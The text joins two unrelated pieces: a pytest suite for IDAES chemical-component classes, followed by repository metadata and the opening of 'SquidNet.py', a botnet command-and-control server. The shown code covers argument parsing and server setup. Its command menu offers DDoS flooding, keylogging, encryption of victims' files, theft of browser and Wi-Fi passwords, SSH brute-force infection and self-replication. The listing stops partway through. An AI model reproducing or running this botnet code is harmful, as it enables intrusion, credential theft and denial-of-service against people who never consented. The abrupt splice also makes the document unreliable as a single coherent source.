# Lawrence Berkeley National Laboratory, National Technology & Engineering
# Solutions of Sandia, LLC, Carnegie Mellon University, West Virginia University
# Research Corporation, et al. All rights reserved.
#
# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and
# license information.
#################################################################################
"""
Tests for Component objects
Author: Andrew Lee
"""
import pytest
import types
from pyomo.environ import ConcreteModel, Set, Param, Var, units as pyunits
from idaes.core.components import (Component, Solute, Solvent,
Ion, Anion, Cation, Apparent)
from idaes.core.phases import (LiquidPhase, VaporPhase, SolidPhase, Phase,
PhaseType, AqueousPhase)
from idaes.core.util.exceptions import ConfigurationError
from idaes.core.property_meta import PropertyClassMetadata
class TestComponent():
@pytest.fixture(scope="class")
def m(self):
m = ConcreteModel()
m.meta_object = PropertyClassMetadata()
def get_metadata(self):
return m.meta_object
m.get_metadata = types.MethodType(get_metadata, m)
m.comp = Component()
m.comp2 = Component()
return m
@pytest.mark.unit
def test_config(self, m):
assert m.comp.config.valid_phase_types is None
assert m.comp.config.elemental_composition is None
assert not m.comp.config._component_list_exists
assert m.comp.config.henry_component is None
assert m.comp.config.has_vapor_pressure
@pytest.mark.unit
def test_populate_component_list(self, m):
assert isinstance(m.component_list, Set)
for j in m.component_list:
assert j in ["comp", "comp2"]
@pytest.mark.unit
def test_is_solute(self, m):
with pytest.raises(TypeError,
match="comp Generic Component objects do not "
"support is_solute\(\) method. Use a Solvent or "
"Solute Component instead."):
m.comp.is_solute()
@pytest.mark.unit
def test_is_solvent(self, m):
with pytest.raises(TypeError,
match="comp Generic Component objects do not "
"support is_solvent\(\) method. Use a Solvent or "
"Solute Component instead."):
m.comp.is_solvent()
@pytest.mark.unit
def test_is_phase_valid_no_assignment(self, m):
with pytest.raises(TypeError):
m.comp._is_phase_valid("foo")
@pytest.mark.unit
def test_is_phase_valid_liquid(self, m):
m.comp3 = Component(default={
"valid_phase_types": PhaseType.liquidPhase})
m.Liq = LiquidPhase()
m.Sol = SolidPhase()
m.Vap = VaporPhase()
m.Aqu = AqueousPhase()
m.Phase = Phase()
assert m.comp3._is_phase_valid(m.Liq)
assert not m.comp3._is_phase_valid(m.Sol)
assert not m.comp3._is_phase_valid(m.Vap)
assert not m.comp3._is_phase_valid(m.Aqu)
assert not m.comp3._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_vapor(self, m):
m.comp4 = Component(default={
"valid_phase_types": PhaseType.vaporPhase})
assert not m.comp4._is_phase_valid(m.Liq)
assert not m.comp4._is_phase_valid(m.Sol)
assert m.comp4._is_phase_valid(m.Vap)
assert not m.comp4._is_phase_valid(m.Aqu)
assert not m.comp4._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_solid(self, m):
m.comp5 = Component(default={
"valid_phase_types": PhaseType.solidPhase})
assert not m.comp5._is_phase_valid(m.Liq)
assert m.comp5._is_phase_valid(m.Sol)
assert not m.comp5._is_phase_valid(m.Vap)
assert not m.comp5._is_phase_valid(m.Aqu)
assert not m.comp5._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_aqueous(self, m):
m.comp6 = Component(default={
"valid_phase_types": PhaseType.aqueousPhase})
assert not m.comp6._is_phase_valid(m.Liq)
assert not m.comp6._is_phase_valid(m.Sol)
assert not m.comp6._is_phase_valid(m.Vap)
# Generic components are never valid in the aqueous phase
assert not m.comp6._is_phase_valid(m.Aqu)
assert not m.comp6._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_LV(self, m):
m.comp7 = Component(default={
"valid_phase_types": [PhaseType.liquidPhase,
PhaseType.vaporPhase]})
assert m.comp7._is_phase_valid(m.Liq)
assert not m.comp7._is_phase_valid(m.Sol)
assert m.comp7._is_phase_valid(m.Vap)
assert not m.comp7._is_phase_valid(m.Aqu)
assert not m.comp7._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_create_parameters(self):
m = ConcreteModel()
m.meta_object = PropertyClassMetadata()
def get_metadata(self):
return m.meta_object
m.get_metadata = types.MethodType(get_metadata, m)
m.get_metadata().default_units["amount"] = pyunits.mol
m.get_metadata().default_units["mass"] = pyunits.kg
m.get_metadata().default_units["time"] = pyunits.s
m.get_metadata().default_units["length"] = pyunits.m
m.get_metadata().default_units["temperature"] = pyunits.K
m.comp = Component(default={
"parameter_data": {"mw": 10,
"pressure_crit": 1e5,
"temperature_crit": 500}})
assert isinstance(m.comp.mw, Param)
assert m.comp.mw.value == 10
assert isinstance(m.comp.pressure_crit, Var)
assert m.comp.pressure_crit.value == 1e5
assert isinstance(m.comp.temperature_crit, Var)
assert m.comp.temperature_crit.value == 500
@pytest.mark.unit
def test_create_parameters_convert(self):
m = ConcreteModel()
m.meta_object = PropertyClassMetadata()
def get_metadata(self):
return m.meta_object
m.get_metadata = types.MethodType(get_metadata, m)
m.get_metadata().default_units["amount"] = pyunits.mol
m.get_metadata().default_units["mass"] = pyunits.kg
m.get_metadata().default_units["time"] = pyunits.s
m.get_metadata().default_units["length"] = pyunits.m
m.get_metadata().default_units["temperature"] = pyunits.K
m.comp = Component(default={
"parameter_data": {"mw": (10, pyunits.g/pyunits.mol),
"pressure_crit": (1, pyunits.bar),
"temperature_crit": (900, pyunits.degR)}})
assert isinstance(m.comp.mw, Param)
assert m.comp.mw.value == 1e-2
assert isinstance(m.comp.pressure_crit, Var)
assert m.comp.pressure_crit.value == 1e5
assert isinstance(m.comp.temperature_crit, Var)
assert m.comp.temperature_crit.value == 500
class TestSolute():
@pytest.fixture(scope="class")
def m(self):
m = ConcreteModel()
m.meta_object = PropertyClassMetadata()
def get_metadata(self):
return m.meta_object
m.get_metadata = types.MethodType(get_metadata, m)
m.comp = Solute()
return m
@pytest.mark.unit
def test_config(self, m):
assert m.comp.config.valid_phase_types is None
assert not m.comp.config._component_list_exists
@pytest.mark.unit
def test_populate_component_list(self, m):
assert isinstance(m.component_list, Set)
for j in m.component_list:
assert j in ["comp"]
@pytest.mark.unit
def test_is_solute(self, m):
assert m.comp.is_solute()
@pytest.mark.unit
def test_is_solvent(self, m):
assert not m.comp.is_solvent()
@pytest.mark.unit
def test_is_phase_valid_no_assignment(self, m):
with pytest.raises(TypeError):
m.comp._is_phase_valid("foo")
@pytest.mark.unit
def test_is_phase_valid_liquid(self, m):
m.comp3 = Solute(default={
"valid_phase_types": PhaseType.liquidPhase})
m.Liq = LiquidPhase()
m.Sol = SolidPhase()
m.Vap = VaporPhase()
m.Aqu = AqueousPhase()
m.Phase = Phase()
assert m.comp3._is_phase_valid(m.Liq)
assert not m.comp3._is_phase_valid(m.Sol)
assert not m.comp3._is_phase_valid(m.Vap)
assert not m.comp3._is_phase_valid(m.Aqu)
assert not m.comp3._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_vapor(self, m):
m.comp4 = Solute(default={
"valid_phase_types": PhaseType.vaporPhase})
assert not m.comp4._is_phase_valid(m.Liq)
assert not m.comp4._is_phase_valid(m.Sol)
assert m.comp4._is_phase_valid(m.Vap)
assert not m.comp4._is_phase_valid(m.Aqu)
assert not m.comp4._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_solid(self, m):
m.comp5 = Solute(default={
"valid_phase_types": PhaseType.solidPhase})
assert not m.comp5._is_phase_valid(m.Liq)
assert m.comp5._is_phase_valid(m.Sol)
assert not m.comp5._is_phase_valid(m.Vap)
assert not m.comp5._is_phase_valid(m.Aqu)
assert not m.comp5._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_aqueous(self, m):
m.comp6 = Solute(default={
"valid_phase_types": PhaseType.aqueousPhase})
assert not m.comp6._is_phase_valid(m.Liq)
assert not m.comp6._is_phase_valid(m.Sol)
assert not m.comp6._is_phase_valid(m.Vap)
assert m.comp6._is_phase_valid(m.Aqu)
assert not m.comp6._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_LV(self, m):
m.comp7 = Solute(default={
"valid_phase_types": [PhaseType.liquidPhase,
PhaseType.vaporPhase]})
assert m.comp7._is_phase_valid(m.Liq)
assert not m.comp7._is_phase_valid(m.Sol)
assert m.comp7._is_phase_valid(m.Vap)
assert not m.comp7._is_phase_valid(m.Aqu)
assert not m.comp7._is_phase_valid(m.Phase)
class TestSovent():
@pytest.fixture(scope="class")
def m(self):
m = ConcreteModel()
m.meta_object = PropertyClassMetadata()
def get_metadata(self):
return m.meta_object
m.get_metadata = types.MethodType(get_metadata, m)
m.comp = Solvent()
return m
@pytest.mark.unit
def test_config(self, m):
assert m.comp.config.valid_phase_types is None
assert not m.comp.config._component_list_exists
@pytest.mark.unit
def test_populate_component_list(self, m):
assert isinstance(m.component_list, Set)
for j in m.component_list:
assert j in ["comp"]
@pytest.mark.unit
def test_is_solute(self, m):
assert not m.comp.is_solute()
@pytest.mark.unit
def test_is_solvent(self, m):
assert m.comp.is_solvent()
@pytest.mark.unit
def test_is_phase_valid_no_assignment(self, m):
with pytest.raises(TypeError):
m.comp._is_phase_valid("foo")
@pytest.mark.unit
def test_is_phase_valid_liquid(self, m):
m.comp3 = Solvent(default={
"valid_phase_types": PhaseType.liquidPhase})
m.Liq = LiquidPhase()
m.Sol = SolidPhase()
m.Vap = VaporPhase()
m.Aqu = AqueousPhase()
m.Phase = Phase()
assert m.comp3._is_phase_valid(m.Liq)
assert not m.comp3._is_phase_valid(m.Sol)
assert not m.comp3._is_phase_valid(m.Vap)
assert not m.comp3._is_phase_valid(m.Aqu)
assert not m.comp3._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_vapor(self, m):
m.comp4 = Solvent(default={
"valid_phase_types": PhaseType.vaporPhase})
assert not m.comp4._is_phase_valid(m.Liq)
assert not m.comp4._is_phase_valid(m.Sol)
assert m.comp4._is_phase_valid(m.Vap)
assert not m.comp4._is_phase_valid(m.Aqu)
assert not m.comp4._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_solid(self, m):
m.comp5 = Solvent(default={
"valid_phase_types": PhaseType.solidPhase})
assert not m.comp5._is_phase_valid(m.Liq)
assert m.comp5._is_phase_valid(m.Sol)
assert not m.comp5._is_phase_valid(m.Vap)
assert not m.comp5._is_phase_valid(m.Aqu)
assert not m.comp5._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_LV(self, m):
m.comp6 = Solvent(default={
"valid_phase_types": [PhaseType.liquidPhase,
PhaseType.vaporPhase]})
assert m.comp6._is_phase_valid(m.Liq)
assert not m.comp6._is_phase_valid(m.Sol)
assert m.comp6._is_phase_valid(m.Vap)
assert not m.comp6._is_phase_valid(m.Aqu)
assert not m.comp6._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_aqueous(self, m):
m.comp7 = Solvent(default={
"valid_phase_types": PhaseType.aqueousPhase})
assert not m.comp7._is_phase_valid(m.Liq)
assert not m.comp7._is_phase_valid(m.Sol)
assert not m.comp7._is_phase_valid(m.Vap)
assert m.comp7._is_phase_valid(m.Aqu)
assert not m.comp7._is_phase_valid(m.Phase)
class TestIon():
@pytest.fixture(scope="class")
def m(self):
m = ConcreteModel()
m.meta_object = PropertyClassMetadata()
def get_metadata(self):
return m.meta_object
m.get_metadata = types.MethodType(get_metadata, m)
m.comp = Ion()
return m
@pytest.mark.unit
def test_config(self, m):
assert "valid_phase_types" not in m.comp.config
assert m.comp.config.charge is None
assert not m.comp.config._component_list_exists
assert not m.comp.config.has_vapor_pressure
with pytest.raises(ValueError):
m.comp.config.has_vapor_pressure = True
@pytest.mark.unit
def test_populate_component_list(self, m):
assert isinstance(m.component_list, Set)
for j in m.component_list:
assert j in ["comp"]
@pytest.mark.unit
def test_is_solute(self, m):
assert m.comp.is_solute()
@pytest.mark.unit
def test_is_solvent(self, m):
assert not m.comp.is_solvent()
@pytest.mark.unit
def test_is_phase_valid_no_assignment(self, m):
with pytest.raises(AttributeError):
m.comp._is_phase_valid("foo")
@pytest.mark.unit
def test_is_phase_valid_liquid(self, m):
m.Liq = LiquidPhase()
m.Sol = SolidPhase()
m.Vap = VaporPhase()
m.Aqu = AqueousPhase()
m.Phase = Phase()
assert not m.comp._is_phase_valid(m.Liq)
assert not m.comp._is_phase_valid(m.Sol)
assert not m.comp._is_phase_valid(m.Vap)
assert m.comp._is_phase_valid(m.Aqu)
assert not m.comp._is_phase_valid(m.Phase)
class TestAnion():
@pytest.fixture(scope="class")
def m(self):
m = ConcreteModel()
m.meta_object = PropertyClassMetadata()
def get_metadata(self):
return m.meta_object
m.get_metadata = types.MethodType(get_metadata, m)
m.comp = Anion(default={"charge": -1})
return m
@pytest.mark.unit
def test_config(self, m):
assert "valid_phase_types" not in m.comp.config
assert m.comp.config.charge == -1
assert not m.comp.config._component_list_exists
assert not m.comp.config.has_vapor_pressure
with pytest.raises(ValueError):
m.comp.config.has_vapor_pressure = True
@pytest.mark.unit
def test_populate_component_list(self, m):
assert isinstance(m.component_list, Set)
for j in m.component_list:
assert j in ["comp"]
@pytest.mark.unit
def test_is_solute(self, m):
assert m.comp.is_solute()
@pytest.mark.unit
def test_is_solvent(self, m):
assert not m.comp.is_solvent()
@pytest.mark.unit
def test_invalid_charge(self, m):
with pytest.raises(ConfigurationError,
match="an received invalid value for charge "
"configuration argument."
" Anions must have a negative charge."):
m.an = Anion(default={"charge": +1})
@pytest.mark.unit
def test_no_charge(self, m):
with pytest.raises(ConfigurationError,
match="an was not provided with a value "
"for charge."):
m.an = Anion()
@pytest.mark.unit
def test_is_phase_valid_no_assignment(self, m):
with pytest.raises(AttributeError):
m.comp._is_phase_valid("foo")
@pytest.mark.unit
def test_is_phase_valid_liquid(self, m):
m.Liq = LiquidPhase()
m.Sol = SolidPhase()
m.Vap = VaporPhase()
m.Aqu = AqueousPhase()
m.Phase = Phase()
assert not m.comp._is_phase_valid(m.Liq)
assert not m.comp._is_phase_valid(m.Sol)
assert not m.comp._is_phase_valid(m.Vap)
assert m.comp._is_phase_valid(m.Aqu)
assert not m.comp._is_phase_valid(m.Phase)
class TestCation():
@pytest.fixture(scope="class")
def m(self):
m = ConcreteModel()
m.meta_object = PropertyClassMetadata()
def get_metadata(self):
return m.meta_object
m.get_metadata = types.MethodType(get_metadata, m)
m.comp = Cation(default={"charge": +1})
return m
@pytest.mark.unit
def test_config(self, m):
assert "valid_phase_types" not in m.comp.config
assert m.comp.config.charge == +1
assert not m.comp.config._component_list_exists
assert not m.comp.config.has_vapor_pressure
with pytest.raises(ValueError):
m.comp.config.has_vapor_pressure = True
@pytest.mark.unit
def test_populate_component_list(self, m):
assert isinstance(m.component_list, Set)
for j in m.component_list:
assert j in ["comp"]
@pytest.mark.unit
def test_is_solute(self, m):
assert m.comp.is_solute()
@pytest.mark.unit
def test_is_solvent(self, m):
assert not m.comp.is_solvent()
@pytest.mark.unit
def test_invalid_charge(self, m):
with pytest.raises(ConfigurationError,
match="cat received invalid value for charge "
"configuration argument."
" Cations must have a positive charge."):
m.cat = Cation(default={"charge": -1})
@pytest.mark.unit
def test_no_charge(self, m):
with pytest.raises(ConfigurationError,
match="cat was not provided with a value "
"for charge."):
m.cat = Cation()
@pytest.mark.unit
def test_is_phase_valid_no_assignment(self, m):
with pytest.raises(AttributeError):
m.comp._is_phase_valid("foo")
@pytest.mark.unit
def test_is_phase_valid_liquid(self, m):
m.Liq = LiquidPhase()
m.Sol = SolidPhase()
m.Vap = VaporPhase()
m.Aqu = AqueousPhase()
m.Phase = Phase()
assert not m.comp._is_phase_valid(m.Liq)
assert not m.comp._is_phase_valid(m.Sol)
assert not m.comp._is_phase_valid(m.Vap)
assert m.comp._is_phase_valid(m.Aqu)
assert not m.comp._is_phase_valid(m.Phase)
class TestApparent():
@pytest.fixture(scope="class")
def m(self):
m = ConcreteModel()
m.meta_object = PropertyClassMetadata()
def get_metadata(self):
return m.meta_object
m.get_metadata = types.MethodType(get_metadata, m)
m.comp = Apparent()
return m
@pytest.mark.unit
def test_config(self, m):
assert m.comp.config.valid_phase_types is None
assert not m.comp.config._component_list_exists
@pytest.mark.unit
def test_populate_component_list(self, m):
assert isinstance(m.component_list, Set)
for j in m.component_list:
assert j in ["comp"]
@pytest.mark.unit
def test_is_solute(self, m):
assert m.comp.is_solute()
@pytest.mark.unit
def test_is_solvent(self, m):
assert not m.comp.is_solvent()
@pytest.mark.unit
def test_is_phase_valid_no_assignment(self, m):
with pytest.raises(TypeError):
m.comp._is_phase_valid("foo")
@pytest.mark.unit
def test_is_phase_valid_liquid(self, m):
m.comp3 = Apparent(default={
"valid_phase_types": PhaseType.liquidPhase})
m.Liq = LiquidPhase()
m.Sol = SolidPhase()
m.Vap = VaporPhase()
m.Aqu = AqueousPhase()
m.Phase = Phase()
assert m.comp3._is_phase_valid(m.Liq)
assert not m.comp3._is_phase_valid(m.Sol)
assert not m.comp3._is_phase_valid(m.Vap)
assert not m.comp3._is_phase_valid(m.Aqu)
assert not m.comp3._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_vapor(self, m):
m.comp4 = Apparent(default={
"valid_phase_types": PhaseType.vaporPhase})
assert not m.comp4._is_phase_valid(m.Liq)
assert not m.comp4._is_phase_valid(m.Sol)
assert m.comp4._is_phase_valid(m.Vap)
assert not m.comp4._is_phase_valid(m.Aqu)
assert not m.comp4._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_solid(self, m):
m.comp5 = Apparent(default={
"valid_phase_types": PhaseType.solidPhase})
assert not m.comp5._is_phase_valid(m.Liq)
assert m.comp5._is_phase_valid(m.Sol)
assert not m.comp5._is_phase_valid(m.Vap)
assert not m.comp5._is_phase_valid(m.Aqu)
assert not m.comp5._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_aqueous(self, m):
m.comp6 = Apparent(default={
"valid_phase_types": PhaseType.aqueousPhase})
assert not m.comp6._is_phase_valid(m.Liq)
assert not m.comp6._is_phase_valid(m.Sol)
assert not m.comp6._is_phase_valid(m.Vap)
assert m.comp6._is_phase_valid(m.Aqu)
assert not m.comp6._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_phase_valid_LV(self, m):
m.comp7 = Apparent(default={
"valid_phase_types": [PhaseType.liquidPhase,
PhaseType.vaporPhase]})
assert m.comp7._is_phase_valid(m.Liq)
assert not m.comp7._is_phase_valid(m.Sol)
assert m.comp7._is_phase_valid(m.Vap)
assert not m.comp7._is_phase_valid(m.Aqu)
assert not m.comp7._is_phase_valid(m.Phase)
@pytest.mark.unit
def test_is_aqueous_phase_valid(self, m):
assert m.comp._is_aqueous_phase_valid()
| 32.69018
| 81
| 0.628348
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| 4.372671
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| 0.129545
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50fe7a339e25dc160d22376b39dece33ae4e3839
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py
|
Python
|
Botnets/SquidNet.py
|
Egida/Ethical-Hacking-Scripts
|
0f96cbd4ae1a22124800e4149b95a64ae19e009f
|
[
"MIT"
] | 29
|
2021-05-23T19:09:18.000Z
|
2022-03-25T03:07:57.000Z
|
Botnets/SquidNet.py
|
Egida/Ethical-Hacking-Scripts
|
0f96cbd4ae1a22124800e4149b95a64ae19e009f
|
[
"MIT"
] | 1
|
2021-11-04T03:32:44.000Z
|
2021-11-06T09:53:12.000Z
|
Botnets/SquidNet.py
|
DrSquidX/Ethical-Hacking-Scripts
|
b383634d16065527cf02f9c7a05f0e1b87734eff
|
[
"MIT"
] | 6
|
2021-08-23T16:04:34.000Z
|
2022-03-07T01:07:15.000Z
|
import random, socket, time, sys, threading, random, os, hashlib, datetime, sqlite3
try:
"""This Module comes with Paramiko."""
from cryptography.fernet import Fernet
except:
pass
from optparse import OptionParser
"""This script is NOT Perfected(Still a WIP)! Notify me if there are any
issues with the script! I am open for DMs but please state that are a user
of my scripts, otherwise I will ignore you(I don't accept DMs from
strangers). My Discord: DrSquid™#7711. If you are unable to reach me,
you can open a discussion and I will respond to that in my repository."""
class ArguementParse:
"""Main Class for parsing command prompt arguements
when running the scripts."""
def __init__(self):
"""All arguements are optional! The botnet will start up without
arguements, however it will only be hosted on localhost.
The arguement parsing function will be utilized here."""
self.get_args()
def downloadNgrok(self):
"""Downloads Ngrok for windows. May need to add it for other OS's
but maybe in the future I will."""
print("[+] Downloading Ngrok.....\n")
if sys.platform == "win32":
batfile = open("getNgrok.bat", "w")
batfile.write(f"""
curl https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -o ngrok.zip
tar -xf {os.getcwd()}/ngrok.zip
""")
batfile.close()
os.startfile(batfile.name)
else:
output = os.popen("curl https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -o ngrok.zip")
print("[+] Downloading Ngrok.....")
print("[+] Ngrok zip file has been downloaded. Unzip it to extract ngrok!\n")
print("[+] Sign in with an ngrok account and you are good to go.")
print("[+] Run 'ngrok tcp 80' to start an Ngrok domain after finishing.")
sys.exit()
def usage(self):
"""Displays help for arguement parsing(good for first time users).
Allows the user to know what the arguements do as well as well as
how to use them."""
print(Botnet.log_logo(None))
print("""
[+] Option-Parsing Help:
[+] --ip, --ipaddr - Specifies the IP to host the Botnet on.
[+] --p, --port - Specifies the Port to host the Botnet on.
[+] --aU, --adminuser - Specify Botnet Admin Username.
[+] --aP, --adminpass - Specify Botnet Admin Password.
[+] --pL, --passlist - Specify a TXT File for SSH Brute-Forcing.
[+] Optional Arguements:
[+] --i, --info - Shows this message.
[+] --gN, --getngrok - Downloads Ngrok.
[+] --eK, --encryptkey - Specify encrypting key for bots.
[+] --eH, --externalhost - Specify an External Hostname for external connections.
[+] --eP, --externalport - Specify an External Port for external connections.
[+] Note: You need to have an Ngrok domain started for the ngrok arguements to have effect.
[+] Usage:""")
if sys.argv[0].endswith(".py"):
print("""[+] python3 Squidnet.py --ip <ip> --p <port> --aU <adminuser> --aP <adminpass> --eK <encryptkey> --pL <passlist> --nH <ngrokhost> --nP <ngrokport>
[+] python3 Squidnet.py --i
[+] python3 Squidnet.py --gN""")
else:
print("""[+] Squidnet --ip <ip> --p <port> --aU <adminuser> --aP <adminpass> --eK <encryptkey> --pL <passlist> --nH <ngrokhost> --nP <ngrokport>
[+] Squidnet --i
[+] Squidnet --gN""")
sys.exit()
def get_args(self):
"""Arguement Parsing function for initiating the Botnet. Also adds
a bit of info for configuring settings in the Botnet to function the
best way that it can."""
opt = OptionParser()
opt.add_option("--ip", "--ipaddr", dest="ip")
opt.add_option("--p", "--port", dest="port")
opt.add_option("--aU", "--adminuser", dest="adminuser")
opt.add_option("--aP", "--adminpass", dest="adminpass")
opt.add_option("--eK", "--encryptkey", dest="key")
opt.add_option("--pL", "--passlist", dest="passfile")
opt.add_option("--eH", "--externalhost", dest="ngrokhost")
opt.add_option("--eP", "--externalport", dest="ngrokport")
opt.add_option("--gN", "--getngrok", dest="download", action="store_true")
opt.add_option("--i", "--info", dest="info", action="store_true")
arg, opti = opt.parse_args()
if arg.download is not None:
print(Botnet.log_logo(None))
self.downloadNgrok()
if arg.info is not None:
self.usage()
else:
pass
if arg.ip is None:
ip = "localhost"
else:
ip = arg.ip
if arg.port is None:
port = 80
else:
try:
port = int(arg.port)
if port == 8080:
port = 80
except:
Botnet.logo(None)
print("[+] Invalid port provided! Must be an integer!")
sys.exit()
if arg.adminuser is None:
adminuser = "admin"
else:
adminuser = arg.adminuser
if arg.adminpass is None:
adminpass = str(random.randint(0, 99999999999999999999999999999))
else:
adminpass = arg.adminpass
if arg.key is None:
try:
key = Fernet.generate_key()
except:
key = b'QAYEFKLQT469LdHWIs4ZG7xKrDr8JRzMTwNFvoQFILg='
else:
key = str(arg.key).encode()
if arg.passfile is None:
passfile = False
else:
passfile = arg.passfile
if arg.ngrokhost is not None:
ngrokhost = arg.ngrokhost
else:
ngrokhost = None
if arg.ngrokport is not None:
try:
ngrokport = int(arg.ngrokport)
except:
print(Botnet.log_logo(None))
print("[+] Invalid port provided! Must be an integer!")
sys.exit()
else:
ngrokport = None
self.webinterface = Web_Interface("localhost", 8080)
self.botnet = Botnet(ip, port, adminuser, adminpass, key, passfile, ngrokhost, ngrokport)
class Botnet:
"""Main Class Made for the BotNet. Everything important
and needed for the Botnet is located in this class."""
class NotSamePassException(Exception):
def __init__(self, msg=f"Configured Password is the the same as one in server txt file!"):
"""Little Error for the password configuration."""
self.msg = msg
super().__init__(self.msg)
def __init__(self, ip, port, name, passw, key, passwfile, ngroklink=None, ngrokport=None):
"""Initiation of the main script. Definition of socket server, ngrok hosts, logging, etc
are created. There are also definition of variables that are vital to the overall script
that are defined here as well. Logging is also started."""
self.ip = ip
self.port = int(port)
self.name = name
self.passw = passw
self.key = key
self.info = []
self.ssh_info = []
self.admininfo = []
self.bot_count = 0
self.passfilename = passwfile
self.logfile = "servlog.txt"
self.passfile = passwfile
self.log("\n" + self.log_logo() + "\n")
self.log("\n[(SERVER)]: Starting up server....")
if self.passfile != False:
try:
self.passwords = open(passwfile, 'r')
except:
self.logo()
print(f"[+] File '{passwfile}' is not in current directory.\n[+] Server is closing.....")
self.log("\n[(ERROR)]: Error starting up server - Brute-forcing file is not in directory!\n[(CLOSE)]: Server is closing.....")
sys.exit()
self.version = "8.0"
self.connportlist = []
self.conn_list = []
self.admin_conn = []
self.ips = []
self.ssh_bots = []
self.ssh_botlist = []
self.display_bots = []
self.admin_name = ""
self.admin_password = ""
self.savefile = False
self.botfile = ""
self.instruction = ""
try:
self.ngroklink = ngroklink
self.ngrokport = int(ngrokport)
tester = socket.gethostbyname(self.ngroklink)
except:
self.ngroklink = self.ip
self.ngrokport = self.port
self.listenforconn = True
self.botscript = self.bot_script()
self.working = False
self.obtaininghistory = False
self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.serv.bind((ip, port))
self.working = True
except Exception as e:
self.working = False
self.logo()
print("[+] The Server cannot be started! Check the logs for more info.")
self.log(f"\n[(ERROR)]: Unable to bind IP and Port due to: {e}")
sys.exit()
if self.working:
self.cwd = os.getcwd()
self.listener = threading.Thread(target=self.listen)
self.listener.start()
self.logo()
self.savefile = False
self.displaykeys = False
self.welcomemsg = """
[(SERVER)]:
[+] List of Commands:
[+] !help - Displays this message.
[+] !getconninfo - Displays info about all of the connections.
[+] Commands for TCP Botnet:
[+] !httpflood [website] [delay] - Denial Of Services the website provided.
[+] !tcpflood [ip] [port] [delay] [size] - Floods the target with TCP Packets.
[+] !udpflood [ip] [port] [delay] [size] - Floods the target with UDP Packets.
[+] !openfile [filename] - Opens a file in the bot working directory.
[+] !changedir [dir] - Changes the working directory of the Bot.
[+] !rmdir [folder] - Removes a folder in the bot working directory.
[+] !rmfile [file] - Removes a file in the bot working directory.
[+] !encfile [file] - Encrypts a provided file in the bot working directory
[+] !decfile [file] - Decrypts a provided file in the bot working directory
[+] !viewfilecontent [file] - Gets the content of the files provided.
[+] !dwnldfile [src] [file] - Downloads a file from the internet onto the bot computer.
[+] !mkdir [dir] - Makes a folder in the bot current directory.
[+] !gotowebsite [url] - Takes the bot to the provided website.
[+] !mkfile [filename] - Creates a file in the bot working directory.
[+] !editfile [file] - Opens a file in writing mode for the bots.
[+] !stopedit - Closes file editor on bots and returns to normal.
[+] !keylog [display?] - Sets up keylogging on the bots(put True in 2nd arg to display it, put nothing to not).
[+] !stopkeylog - Stops any keylogging on the Botnet.
[+] !encdir - Encrypts all files in the bot working directory
[+] !decdir - Decrypts all files in the bot working directory
[+] !botcount - Gets the amount of connected bots.
[+] !stopatk - Stops any ongoing DDoS Attacks in the Botnet.
[+] !changedirdesktop - Sets the bot working directory to their Desktop.
[+] !listdir - Lists the files in the bot working directories.
[+] !resettoken - Resets the token and changes it to a new token
[+] !getinfo - Gets the OS, cwd, IP, and username of the bots.
[+] !getip - Gets the IP of the bots
[+] !getwifi - Obtains the wifi names and passwords of the bots(Windows only).
[+] !savefile - Obtains a file from the bots directory.
[+] !getcwd - Gets the bots working directory.
[+] !getos - Gets the OS Of the bots.
[+] !getpasswords - Gets the stored browser passwords of the bots(Windows only).
[+] !rickroll - Rick Rolls the Bots.
[+] !getchromehistory - Obtains the chrome history of the bots(it needs to already be in the server txt file).
[+] !cloneself - Self replicates the Bot scripts in the bots.
[+] Commands for SSH Botnet:
[+] !infect [ip] [user] - Brute forces login for provided ip and username.
[+] !sshlogin [ip] [user] [pass] - Logs in the ip with the provided username and password.
[+] !listsshbots - Lists all SSH Bots.
[+] Any other commands will be made into cmd commands.
"""
item = f"\n[(SERVER)]: Server started: {datetime.datetime.today()}\n[(SERVER)]: Successfully started server on: {self.ngroklink}:{self.ngrokport}\n[(SERVER)]: Listening for connections.....\n[(SERVER)]: Encryption key used: {self.key}"
self.log(item)
print(f"\n[+] Hosting Server at {self.ngroklink}:{self.ngrokport}")
print("[+] Web-Interface For More Info: http://127.0.0.1:8080")
print("[+] Botnet is Up! Listening for connections.....\n")
print(f"[+] This Server is being logged!\n[+] Server Log File: {self.logfile}")
print(f"\n[+] Use this token when encrypting!: {key}")
print("[+] Notice that this token will be used if encrypting files(probably save it).")
self.usage()
self.instructor = threading.Thread(target=self.instruct)
self.instructor.start()
def log_logo(self=None):
"""Logo of this script."""
logo = """
_____ _ _ _ _ _ ___ ___
/ ____| (_) | | \ | | | | / _ \ / _ \
| (___ __ _ _ _ _ __| | \| | ___| |_ __ _| (_) | | | |
\___ \ / _` | | | | |/ _` | . ` |/ _ \ __| \ \ / /> _ <| | | |
____) | (_| | |_| | | (_| | |\ | __/ |_ \ V /| (_) | |_| |
|_____/ \__, |\__,_|_|\__,_|_| \_|\___|\__| \_/ \___(_)___/
| |
|_|
TCP and SSH Botnet Hybrid Command and Control Server By DrSquid"""
return logo
def logo(self):
"""Prints the logo of this script."""
print(self.log_logo())
def usage(self):
"""This displays the list of commands on the server that can be sent to the bots."""
print("\n[+] Commands:\n")
